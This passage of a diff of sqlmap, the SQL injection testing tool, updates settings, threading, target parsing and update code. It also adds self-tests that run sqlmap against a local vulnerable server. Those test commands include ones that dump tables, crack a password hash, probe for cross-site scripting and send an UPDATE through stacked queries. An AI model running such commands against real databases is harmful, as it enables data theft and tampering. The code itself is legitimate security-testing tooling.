 # Maximum response total page size (trimmed if larger)
 MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024
@@ -681,8 +706,8 @@ MAX_DIFFLIB_SEQUENCE_LENGTH = 10 * 1024 * 1024
 # Maximum (multi-threaded) length of entry in bisection algorithm
 MAX_BISECTION_LENGTH = 50 * 1024 * 1024
 
-# Mark used for trimming unnecessary content in large chunks
-LARGE_CHUNK_TRIM_MARKER = "__TRIMMED_CONTENT__"
+# Mark used for trimming unnecessary content in large connection reads
+LARGE_READ_TRIM_MARKER = "__TRIMMED_CONTENT__"
 
 # Generic SQL comment formation
 GENERIC_SQL_COMMENT = "-- [RANDSTR]"
@@ -709,7 +734,7 @@ MAX_HELP_OPTION_LENGTH = 18
 MAX_CONNECT_RETRIES = 100
 
 # Strings for detecting formatting errors
-FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", "CF_SQL_NUMERIC", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "Attribute validation error for tag", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException")
+FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", "CF_SQL_NUMERIC", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "Attribute validation error for tag", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException", "Arguments are of the wrong type")
 
 # Regular expression used for extracting ASP.NET view state values
 VIEWSTATE_REGEX = r'(?i)(?P<name>__VIEWSTATE[^"]*)[^>]+value="(?P<result>[^"]+)'
@@ -798,9 +823,6 @@ BRUTE_DOC_ROOT_PREFIXES = {
     OS.WINDOWS: ("/xampp", "/Program Files/xampp", "/wamp", "/Program Files/wampp", "/apache", "/Program Files/Apache Group/Apache", "/Program Files/Apache Group/Apache2", "/Program Files/Apache Group/Apache2.2", "/Program Files/Apache Group/Apache2.4", "/Inetpub/wwwroot", "/Inetpub/wwwroot/%TARGET%", "/Inetpub/vhosts/%TARGET%")
 }
 
-# Table prefix to use in "takeover" functionalities (i.e. auxiliary tables used by sqlmap at the vulnerable DBMS)
-TAKEOVER_TABLE_PREFIX = "sqlmap"
-
 # Suffixes used in brute force search for web server document root
 BRUTE_DOC_ROOT_SUFFIXES = ("", "html", "htdocs", "httpdocs", "php", "public", "src", "site", "build", "web", "www", "data", "sites/all", "www/build")
 

lib/core/shell.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/core/subprocessng.py

@@ -1,18 +1,20 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
+from __future__ import division
+
 import errno
 import os
 import subprocess
 import time
 
 from lib.core.compat import buffer
+from lib.core.convert import getBytes
 from lib.core.settings import IS_WIN
-from thirdparty import six
 
 if IS_WIN:
     try:
@@ -98,7 +100,7 @@ class Popen(subprocess.Popen):
             except ValueError:
                 return self._close('stdin')
             except (subprocess.pywintypes.error, Exception) as ex:
-                if (ex[0] if six.PY2 else ex.errno) in (109, errno.ESHUTDOWN):
+                if ex.args[0] in (109, errno.ESHUTDOWN):
                     return self._close('stdin')
                 raise
 
@@ -119,7 +121,7 @@ class Popen(subprocess.Popen):
             except (ValueError, NameError):
                 return self._close(which)
             except (subprocess.pywintypes.error, Exception) as ex:
-                if (ex[0] if six.PY2 else ex.errno) in (109, errno.ESHUTDOWN):
+                if ex.args[0] in (109, errno.ESHUTDOWN):
                     return self._close(which)
                 raise
 
@@ -137,7 +139,7 @@ class Popen(subprocess.Popen):
             try:
                 written = os.write(self.stdin.fileno(), input)
             except OSError as ex:
-                if (ex[0] if six.PY2 else ex.errno) == errno.EPIPE:  # broken pipe
+                if ex.args[0] == errno.EPIPE:  # broken pipe
                     return self._close('stdin')
                 raise
 
@@ -191,6 +193,8 @@ def send_all(p, data):
     if not data:
         return
 
+    data = getBytes(data)
+
     while len(data):
         sent = p.send(data)
         if not isinstance(sent, int):

lib/core/target.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -48,18 +48,18 @@ from lib.core.exception import SqlmapMissingPrivileges
 from lib.core.exception import SqlmapNoneDataException
 from lib.core.exception import SqlmapSystemException
 from lib.core.exception import SqlmapUserQuitException
+from lib.core.option import _setAuthCred
 from lib.core.option import _setDBMS
 from lib.core.option import _setKnowledgeBaseAttributes
-from lib.core.option import _setAuthCred
+from lib.core.settings import ARRAY_LIKE_RECOGNITION_REGEX
 from lib.core.settings import ASTERISK_MARKER
 from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES
 from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import HOST_ALIASES
-from lib.core.settings import ARRAY_LIKE_RECOGNITION_REGEX
 from lib.core.settings import INJECT_HERE_REGEX
-from lib.core.settings import JSON_RECOGNITION_REGEX
 from lib.core.settings import JSON_LIKE_RECOGNITION_REGEX
+from lib.core.settings import JSON_RECOGNITION_REGEX
 from lib.core.settings import MULTIPART_RECOGNITION_REGEX
 from lib.core.settings import PROBLEMATIC_CUSTOM_INJECTION_PATTERNS
 from lib.core.settings import REFERER_ALIASES
@@ -111,7 +111,7 @@ def _setRequestParams():
         def process(match, repl):
             retVal = match.group(0)
 
-            if not (conf.testParameter and match.group("name") not in [removePostHintPrefix(_) for _ in conf.testParameter]):
+            if not (conf.testParameter and match.group("name") not in [removePostHintPrefix(_) for _ in conf.testParameter]) and match.group("name") == match.group("name").strip('\\'):
                 retVal = repl
                 while True:
                     _ = re.search(r"\\g<([^>]+)>", retVal)
@@ -121,11 +121,12 @@ def _setRequestParams():
                         break
                 if kb.customInjectionMark in retVal:
                     hintNames.append((retVal.split(kb.customInjectionMark)[0], match.group("name")))
+
             return retVal
 
         if kb.processUserMarks is None and kb.customInjectionMark in conf.data:
-            message = "custom injection marker ('%s') found in option " % kb.customInjectionMark
-            message += "'--data'. Do you want to process it? [Y/n/q] "
+            message = "custom injection marker ('%s') found in POST " % kb.customInjectionMark
+            message += "body. Do you want to process it? [Y/n/q] "
             choice = readInput(message, default='Y').upper()
 
             if choice == 'Q':
@@ -150,12 +151,13 @@ def _setRequestParams():
                     conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*".+?)"(?<!\\")', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data)
                     conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)(-?\d[\d\.]*)\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
                     conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)((true|false|null))\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
-                    match = re.search(r'(?P<name>[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data)
-                    if match and not (conf.testParameter and match.group("name") not in conf.testParameter):
-                        _ = match.group(2)
-                        _ = re.sub(r'("[^"]+)"', r'\g<1>%s"' % kb.customInjectionMark, _)
-                        _ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _)
-                        conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _))
+                    for match in re.finditer(r'(?P<name>[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data):
+                        if not (conf.testParameter and match.group("name") not in conf.testParameter):
+                            _ = match.group(2)
+                            if kb.customInjectionMark not in _:  # Note: only for unprocessed (simple) forms - i.e. non-associative arrays (e.g. [1,2,3])
+                                _ = re.sub(r'("[^"]+)"', r'\g<1>%s"' % kb.customInjectionMark, _)
+                                _ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _)
+                                conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _))
 
                 kb.postHint = POST_HINT.JSON
 
@@ -255,6 +257,9 @@ def _setRequestParams():
             kb.processUserMarks = True
 
     for place, value in ((PLACE.URI, conf.url), (PLACE.CUSTOM_POST, conf.data), (PLACE.CUSTOM_HEADER, str(conf.httpHeaders))):
+        if place == PLACE.CUSTOM_HEADER and any((conf.forms, conf.crawlDepth)):
+            continue
+
         _ = re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or "") if place == PLACE.CUSTOM_HEADER else value or ""
         if kb.customInjectionMark in _:
             if kb.processUserMarks is None:
@@ -396,7 +401,7 @@ def _setRequestParams():
         raise SqlmapGenericException(errMsg)
 
     if conf.csrfToken:
-        if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}):
+        if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}):
             errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original
             errMsg += "found in provided GET, POST, Cookie or header values"
             raise SqlmapGenericException(errMsg)
@@ -458,11 +463,12 @@ def _resumeHashDBValues():
 
     for injection in hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) or []:
         if isinstance(injection, InjectionDict) and injection.place in conf.paramDict and injection.parameter in conf.paramDict[injection.place]:
-            if not conf.tech or intersect(conf.tech, injection.data.keys()):
-                if intersect(conf.tech, injection.data.keys()):
-                    injection.data = dict(_ for _ in injection.data.items() if _[0] in conf.tech)
+            if not conf.technique or intersect(conf.technique, injection.data.keys()):
+                if intersect(conf.technique, injection.data.keys()):
+                    injection.data = dict(_ for _ in injection.data.items() if _[0] in conf.technique)
                 if injection not in kb.injections:
                     kb.injections.append(injection)
+                    kb.vulnHosts.add(conf.hostname)
 
     _resumeDBMS()
     _resumeOS()
@@ -558,16 +564,18 @@ def _setResultsFile():
         return
 
     if not conf.resultsFP:
-        conf.resultsFilename = os.path.join(paths.SQLMAP_OUTPUT_PATH, time.strftime(RESULTS_FILE_FORMAT).lower())
+        conf.resultsFile = conf.resultsFile or os.path.join(paths.SQLMAP_OUTPUT_PATH, time.strftime(RESULTS_FILE_FORMAT).lower())
+        found = os.path.exists(conf.resultsFile)
+
         try:
-            conf.resultsFP = openFile(conf.resultsFilename, "a", UNICODE_ENCODING, buffering=0)
+            conf.resultsFP = openFile(conf.resultsFile, "a", UNICODE_ENCODING, buffering=0)
         except (OSError, IOError) as ex:
             try:
-                warnMsg = "unable to create results file '%s' ('%s'). " % (conf.resultsFilename, getUnicode(ex))
-                handle, conf.resultsFilename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.RESULTS, suffix=".csv")
+                warnMsg = "unable to create results file '%s' ('%s'). " % (conf.resultsFile, getUnicode(ex))
+                handle, conf.resultsFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.RESULTS, suffix=".csv")
                 os.close(handle)
-                conf.resultsFP = openFile(conf.resultsFilename, "w+", UNICODE_ENCODING, buffering=0)
-                warnMsg += "Using temporary file '%s' instead" % conf.resultsFilename
+                conf.resultsFP = openFile(conf.resultsFile, "w+", UNICODE_ENCODING, buffering=0)
+                warnMsg += "Using temporary file '%s' instead" % conf.resultsFile
                 logger.warn(warnMsg)
             except IOError as _:
                 errMsg = "unable to write to the temporary directory ('%s'). " % _
@@ -576,16 +584,17 @@ def _setResultsFile():
                 errMsg += "create temporary files and/or directories"
                 raise SqlmapSystemException(errMsg)
 
-        conf.resultsFP.writelines("Target URL,Place,Parameter,Technique(s),Note(s)%s" % os.linesep)
+        if not found:
+            conf.resultsFP.writelines("Target URL,Place,Parameter,Technique(s),Note(s)%s" % os.linesep)
 
-        logger.info("using '%s' as the CSV results file in multiple targets mode" % conf.resultsFilename)
+        logger.info("using '%s' as the CSV results file in multiple targets mode" % conf.resultsFile)
 
 def _createFilesDir():
     """
     Create the file directory.
     """
 
-    if not conf.fileRead:
+    if not any((conf.fileRead, conf.commonFiles)):
         return
 
     conf.filePath = paths.SQLMAP_FILES_PATH % conf.hostname

lib/core/testing.py

@@ -1,10 +1,12 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
+from __future__ import division
+
 import codecs
 import doctest
 import logging
@@ -12,6 +14,8 @@ import os
 import random
 import re
 import shutil
+import socket
+import sqlite3
 import sys
 import tempfile
 import threading
@@ -29,11 +33,13 @@ from lib.core.common import readXmlFile
 from lib.core.common import shellExec
 from lib.core.compat import round
 from lib.core.compat import xrange
+from lib.core.convert import encodeBase64
 from lib.core.convert import getUnicode
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.data import paths
+from lib.core.data import queries
 from lib.core.enums import MKSTEMP_PREFIX
 from lib.core.exception import SqlmapBaseException
 from lib.core.exception import SqlmapNotVulnerableException
@@ -58,8 +64,34 @@ def vulnTest():
     Runs the testing against 'vulnserver'
     """
 
+    TESTS = (
+        (u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'",)),
+        (u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape", (u": '\u0161u\u0107uraj'",)),
+        ("--list-tampers", ("between", "MySQL", "xforwardedfor")),
+        ("-r <request> --flush-session -v 5", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar")),
+        ("-l <log> --flush-session --keep-alive --skip-waf -v 5 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
+        ("-l <log> --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")),
+        ("-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
+        ("-u <url> --flush-session --data='{\"id\": 1}' --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")),
+        ("-u <url> --flush-session -H 'Foo: Bar' -H 'Sna: Fu' --data='<root><param name=\"id\" value=\"1*\"/></root>' --union-char=1 --mobile --answers='smartphone=3' --banner --smart -v 5", ("might be injectable", "Payload: <root><param name=\"id\" value=\"1", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.", "Nexus", "Sna: Fu", "Foo: Bar")),
+        ("-u <url> --flush-session --method=PUT --data='a=1&b=2&c=3&id=1' --skip-static --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "2 entries")),
+        ("-u <url> --flush-session -H 'id: 1*' --tables", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
+        ("-u <url> --flush-session --banner --invalid-logical --technique=B --predict-output --test-filter='OR boolean' --tamper=space2dash", ("banner: '3.", " LIKE ")),
+        ("-u <url> --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
+        ("-u <url> --flush-session --null-connection --technique=B --tamper=between,randomcase --banner", ("NULL connection is supported with HEAD method", "banner: '3.")),
+        ("-u <url> --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")),
+        ("-u <url> --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")),
+        ("-u <url> --technique=U --fresh-queries --force-partial --dump -T users --answer=\"crack=n\" -v 3", ("performed 6 queries", "nameisnull", "~using default dictionary")),
+        ("-u <url> --flush-session --all", ("5 entries", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")),
+        ("-u <url> -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [5]", "nameisnull")),
+        ("-u '<url>&echo=foobar*' --flush-session", ("might be vulnerable to cross-site scripting",)),
+        ("-u '<url>&query=*' --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")),
+        ("-d <direct> --flush-session --dump -T users --binary-fields=name --where \"id=3\"", ("7775", "179ad45c6ce2cb97cf1029e212046e81 (testpass)",)),
+        ("-d <direct> --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=5; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "5, foobar, nameisnull", "[*] 987654321",)),
+    )
+
     retVal = True
-    count, length = 0, 6
+    count = 0
     address, port = "127.0.0.10", random.randint(1025, 65535)
 
     def _thread():
@@ -70,25 +102,48 @@ def vulnTest():
     thread.daemon = True
     thread.start()
 
-    for options, checks in (
-        ("--flush-session", ("CloudFlare",)),
-        ("--flush-session --parse-errors --eval=\"id2=2\" --referer=\"localhost\" --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e\"", (": syntax error", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "back-end DBMS: SQLite", "3 columns")),
-        ("--banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")),
-        ("--all --tamper=between,randomcase", ("5 entries", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")),
-        ("-z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT 987654321\"", ("length of query output", ": '987654321'",)),
-        ("--technique=T --fresh-queries --sql-query=\"SELECT 1234\"", (": '1234'",)),
-    ):
-        cmd = "%s %s -u http://%s:%d/?id=1 --batch %s" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), address, port, options)
+    while True:
+        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        try:
+            s.connect((address, port))
+            break
+        except:
+            time.sleep(1)
+
+    handle, database = tempfile.mkstemp(suffix=".sqlite")
+    os.close(handle)
+
+    with sqlite3.connect(database) as conn:
+        c = conn.cursor()
+        c.executescript(vulnserver.SCHEMA)
+
+    handle, request = tempfile.mkstemp(suffix=".req")
+    os.close(handle)
+
+    handle, log = tempfile.mkstemp(suffix=".log")
+    os.close(handle)
+
+    content = "POST / HTTP/1.0\nUser-agent: foobar\nHost: %s:%s\n\nid=1\n" % (address, port)
+
+    open(request, "w+").write(content)
+    open(log, "w+").write('<port>%d</port><request base64="true"><![CDATA[%s]]></request>' % (port, encodeBase64(content, binary=False)))
+
+    url = "http://%s:%d/?id=1" % (address, port)
+    direct = "sqlite3://%s" % database
+
+    for options, checks in TESTS:
+        status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
+        dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
+
+        cmd = "%s %s %s --batch" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options.replace("<url>", url).replace("<direct>", direct).replace("<request>", request).replace("<log>", log))
         output = shellExec(cmd)
 
-        if not all(check in output for check in checks):
+        if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks):
             dataToStdout("---\n\n$ %s\n" % cmd)
             dataToStdout("%s---\n" % clearColors(output))
             retVal = False
 
         count += 1
-        status = '%d/%d (%d%%) ' % (count, length, round(100.0 * count / length))
-        dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
 
     clearConsoleLine()
     if retVal:
@@ -153,7 +208,7 @@ def smokeTest():
             continue
 
         for filename in files:
-            if os.path.splitext(filename)[1].lower() == ".py" and filename != "__init__.py":
+            if os.path.splitext(filename)[1].lower() == ".py" and filename not in ("__init__.py", "gui.py"):
                 path = os.path.join(root, os.path.splitext(filename)[0])
                 path = path.replace(paths.SQLMAP_ROOT_PATH, '.')
                 path = path.replace(os.sep, '.').lstrip('.')
@@ -181,6 +236,27 @@ def smokeTest():
                 status = '%d/%d (%d%%) ' % (count, length, round(100.0 * count / length))
                 dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
 
+    def _(node):
+        for __ in dir(node):
+            if not __.startswith('_'):
+                candidate = getattr(node, __)
+                if isinstance(candidate, str):
+                    if '\\' in candidate:
+                        try:
+                            re.compile(candidate)
+                        except:
+                            errMsg = "smoke test failed at compiling '%s'" % candidate
+                            logger.error(errMsg)
+                            raise
+                else:
+                    _(candidate)
+
+    for dbms in queries:
+        try:
+            _(queries[dbms])
+        except:
+            retVal = False
+
     clearConsoleLine()
     if retVal:
         logger.info("smoke test final result: PASSED")

lib/core/threads.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -50,19 +50,20 @@ class _ThreadData(threading.local):
         self.lastComparisonHeaders = None
         self.lastComparisonCode = None
         self.lastComparisonRatio = None
-        self.lastErrorPage = None
+        self.lastErrorPage = tuple()
         self.lastHTTPError = None
         self.lastRedirectMsg = None
         self.lastQueryDuration = 0
         self.lastPage = None
         self.lastRequestMsg = None
         self.lastRequestUID = 0
-        self.lastRedirectURL = None
+        self.lastRedirectURL = tuple()
         self.random = WichmannHill()
         self.resumed = False
         self.retriesCount = 0
         self.seqMatcher = difflib.SequenceMatcher(None)
         self.shared = shared
+        self.technique = None
         self.validationRun = 0
         self.valueStack = []
 
@@ -72,13 +73,15 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
     # It will be overwritten by original from lib.core.common
     pass
 
+def isDigit(value):
+    # It will be overwritten by original from lib.core.common
+    pass
+
 def getCurrentThreadData():
     """
     Returns current thread's local data
     """
 
-    global ThreadData
-
     return ThreadData
 
 def getCurrentThreadName():
@@ -96,11 +99,13 @@ def exceptionHandledFunction(threadFunction, silent=False):
         kb.threadException = True
         raise
     except Exception as ex:
-        if not silent and kb.get("threadContinue"):
-            errMsg = ex.message if isinstance(ex, SqlmapBaseException) else "%s: %s" % (type(ex).__name__, ex.message)
+        from lib.core.common import getSafeExString
+
+        if not silent and kb.get("threadContinue") and not isinstance(ex, SqlmapUserQuitException):
+            errMsg = getSafeExString(ex) if isinstance(ex, SqlmapBaseException) else "%s: %s" % (type(ex).__name__, getSafeExString(ex))
             logger.error("thread %s: '%s'" % (threading.currentThread().getName(), errMsg))
 
-            if conf.get("verbose") > 1 and not isinstance(ex, (SqlmapUserQuitException,)):
+            if conf.get("verbose") > 1 and not isinstance(ex, SqlmapConnectionException):
                 traceback.print_exc()
 
 def setDaemon(thread):
@@ -113,19 +118,23 @@ def setDaemon(thread):
 def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardException=True, threadChoice=False, startThreadMsg=True):
     threads = []
 
+    kb.multipleCtrlC = False
     kb.threadContinue = True
     kb.threadException = False
+    kb.technique = ThreadData.technique
 
-    if threadChoice and numThreads == 1 and not (kb.injection.data and not any(_ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in kb.injection.data)):
+    if threadChoice and conf.threads == numThreads == 1 and not (kb.injection.data and not any(_ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in kb.injection.data)):
         while True:
             message = "please enter number of threads? [Enter for %d (current)] " % numThreads
             choice = readInput(message, default=str(numThreads))
             if choice:
                 skipThreadCheck = False
+
                 if choice.endswith('!'):
                     choice = choice[:-1]
                     skipThreadCheck = True
-                if choice.isdigit():
+
+                if isDigit(choice):
                     if int(choice) > MAX_NUMBER_OF_THREADS and not skipThreadCheck:
                         errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS
                         logger.critical(errMsg)
@@ -176,6 +185,12 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
         kb.threadContinue = False
         kb.threadException = True
 
+        if kb.lastCtrlCTime and (time.time() - kb.lastCtrlCTime < 1):
+            kb.multipleCtrlC = True
+            raise SqlmapUserQuitException("user aborted (Ctrl+C was pressed multiple times)")
+
+        kb.lastCtrlCTime = time.time()
+
         if numThreads > 1:
             logger.info("waiting for threads to finish%s" % (" (Ctrl+C was pressed)" if isinstance(ex, KeyboardInterrupt) else ""))
         try:
@@ -183,6 +198,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
                 pass
 
         except KeyboardInterrupt:
+            kb.multipleCtrlC = True
             raise SqlmapThreadException("user aborted (Ctrl+C was pressed multiple times)")
 
         if forwardException:
@@ -193,22 +209,24 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
         kb.threadException = True
         logger.error("thread %s: '%s'" % (threading.currentThread().getName(), ex))
 
-        if conf.get("verbose") > 1:
+        if conf.get("verbose") > 1 and isinstance(ex, SqlmapValueException):
             traceback.print_exc()
 
     except:
-        from lib.core.common import unhandledExceptionMessage
-
         print()
-        kb.threadException = True
-        errMsg = unhandledExceptionMessage()
-        logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg))
-        traceback.print_exc()
+
+        if not kb.multipleCtrlC:
+            from lib.core.common import unhandledExceptionMessage
+
+            kb.threadException = True
+            errMsg = unhandledExceptionMessage()
+            logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg))
+            traceback.print_exc()
 
     finally:
-        kb.bruteMode = False
         kb.threadContinue = True
         kb.threadException = False
+        kb.technique = None
 
         for lock in kb.locks.values():
             if lock.locked():

lib/core/unescaper.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/core/update.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -14,8 +14,8 @@ import time
 import zipfile
 
 from lib.core.common import dataToStdout
-from lib.core.common import getSafeExString
 from lib.core.common import getLatestRevision
+from lib.core.common import getSafeExString
 from lib.core.common import openFile
 from lib.core.common import pollProcess
 from lib.core.common import readInput
@@ -105,6 +105,7 @@ def update():
 
         dataToStdout("\r[%s] [INFO] update in progress" % time.strftime("%X"))
 
+        output = ""
         try:
             process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=paths.SQLMAP_ROOT_PATH)
             pollProcess(process, True)
@@ -135,6 +136,6 @@ def update():
             infoMsg += "https://github.com/sqlmapproject/sqlmap/downloads"
         else:
             infoMsg = "for Linux platform it's recommended "
-            infoMsg += "to install a standard 'git' package (e.g.: 'sudo apt-get install git')"
+            infoMsg += "to install a standard 'git' package (e.g.: 'sudo apt install git')"
 
         logger.info(infoMsg)

lib/core/wordlist.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -18,7 +18,9 @@ class Wordlist(six.Iterator):
